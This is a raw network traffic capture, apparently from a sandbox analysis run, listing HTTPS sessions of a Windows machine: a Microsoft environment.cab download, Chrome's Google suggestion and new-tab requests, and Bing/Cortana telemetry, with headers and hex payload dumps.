2024-11-18 12:29:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: be7d74ee-bb29-4245-b7be-96d8d333fe04 MS-RequestId: efc34e84-1d05-4107-8db6-6516bfe5bdf4 MS-CV: zg9d2Vb4pkifBJIs.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 12:29:12 GMT Connection: close Content-Length: 24490
2024-11-18 12:29:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 12:29:12 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49712	142.250.185.68	443	3580	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:12 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:29:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-v3YE0PD82i4xS3GYr65uhQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 12:29:13 UTC	112	IN	Data Raw: 63 38 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 6f 72 64 6c 65 20 74 6f 64 61 79 20 6e 6f 76 65 6d 62 65 72 20 31 38 22 2c 22 70 65 6e 6e 20 73 74 61 74 65 20 76 73 20 64 72 65 78 65 6c 20 77 72 65 73 74 6c 69 6e 67 22 2c 22 73 70 61 63 65 78 20 73 74 6f 63 6b 20 74 65 6e 64 65 72 20 6f 66 66 65 72 22 2c 22 65 61 72 74 68 71 75 61 Data Ascii: c8a)]}'["",["wordle today november 18","penn state vs drexel wrestling","spacex stock tender offer","earthqua
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 6b 65 73 22 2c 22 63 6f 62 72 61 20 6b 61 69 20 73 65 61 73 6f 6e 20 36 22 2c 22 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 22 2c 22 73 74 6f 63 6b 20 6d 61 72 6b 65 74 22 2c 22 68 61 6e 6e 61 68 20 6b 6f 62 61 79 61 73 68 69 20 6d 69 73 73 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b Data Ascii: kes","cobra kai season 6","san francisco 49ers","stock market","hannah kobayashi missing"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 59 55 6c 6b 4e 57 78 6b 54 48 6c 72 4c 30 74 53 62 6b 6b 78 62 6e 49 35 4c 33 5a 68 55 55 63 31 52 6d 56 52 53 6e 41 78 57 45 52 51 57 56 67 76 4d 55 46 49 4f 47 6b 34 51 6c 5a 4d 55 30 68 77 59 6b 46 5a 53 79 74 59 57 45 6c 48 61 7a 5a 77 56 6e 70 6f 51 6b 6c 77 4e 44 42 48 4f 58 52 53 53 7a 68 57 57 56 64 4d 65 57 35 59 4e 6d 5a 50 4e 6c 70 57 62 6c 5a 4c 54 31 4a 59 51 53 39 73 54 33 5a 75 54 6a 4a 43 54 57 6c 42 62 55 74 54 4e 6b 46 71 63 44 4a 35 54 30 70 72 56 56 4e 72 5a 57 52 70 61 6a 5a 77 59 57 64 61 55 45 56 71 53 6c 68 4d 55 30 56 58 54 31 68 33 5a 46 64 77 4e 6a 5a 61 63 47 6c 32 4b 32 46 56 4d 7a 5a 58 4f 48 4e 53 57 57 31 50 62 30 6f 79 4e 6e 4a 72 51 32 74 46 53 47 6f 72 61 55 68 45 61 31 70 77 62 6c 6c 47 55 55 56 79 61 47 6f 31 51 6b 35 Data Ascii: YUlkNWxkTHlrL0tSbkkxbnI5L3ZhUUc1RmVRSnAxWERQWVgvMUFIOGk4QlZMU0hwYkFZSytYWElHazZwVnpoQklwNDBHOXRSSzhWWVdMeW5YNmZPNlpWblZLT1JYQS9sT3ZuTjJCTWlBbUtTNkFqcDJ5T0prVVNrZWRpajZwYWdaUEVqSlhMU0VXT1h3ZFdwNjZacGl2K2FVMzZXOHNSWW1Pb0oyNnJrQ2tFSGoraUhEa1pwbllGUUVyaGo1Qk5
2024-11-18 12:29:13 UTC	349	IN	Data Raw: 4d 31 57 45 31 4d 52 6b 31 4d 55 32 39 48 51 55 70 73 64 55 4e 6f 64 33 41 48 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 Data Ascii: M1WE1MRk1MU29HQUpsdUNod3AH","zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362
2024-11-18 12:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.8	49716	23.206.229.226	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:13 UTC	2083	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109008217 X-BM-CBT: 1696494873 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 229C124F14F843F693B4EF574DFCAAAB X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109008217 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=7A0479E0E07C4D7D91A8C7552F34E6D4&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&LUT=1696493908190&IPMH=7bc3b11d&IPMID=1696494873321&HV=1696494765; MUID=4E6D5F19647E45969740B90CC0355D4C; _SS=SID=1F4D6C7F4B26664337657FDE4A3767CB&CPID=1696494874312&AC=1&CPH=893a1c21; _EDGE_S=SID=1F4D6C7F4B26664337657FDE4A3767CB
2024-11-18 12:29:13 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-18 12:29:13 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 34 45 36 44 35 46 31 39 36 34 37 45 34 35 39 36 39 37 34 30 42 39 30 43 43 30 33 35 35 44 34 43 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 30 36 38 37 30 43 30 39 41 31 46 37 34 43 39 43 42 33 41 42 46 30 34 30 46 43 39 46 30 41 37 38 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>4E6D5F19647E45969740B90CC0355D4C</CID><Events><E><T>Event.ClientInst</T><IG>06870C09A1F74C9CB3ABF040FC9F0A78</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-11-18 12:29:13 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F6B534E4A9CD451A8CFE57E995F58E91 Ref B: LAX311000113029 Ref C: 2024-11-18T12:29:13Z Date: Mon, 18 Nov 2024 12:29:13 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.cbd7ce17.1731932953.163a95f6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49715	142.250.185.68	443	3580	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:29:13 UTC	1119	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 12:29:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 12:29:13 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-18 12:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49717	142.250.185.68	443	3580	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:13 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:29:13 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 12:29:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 12:29:13 UTC	360	IN	Data Raw: 32 32 36 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 226e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
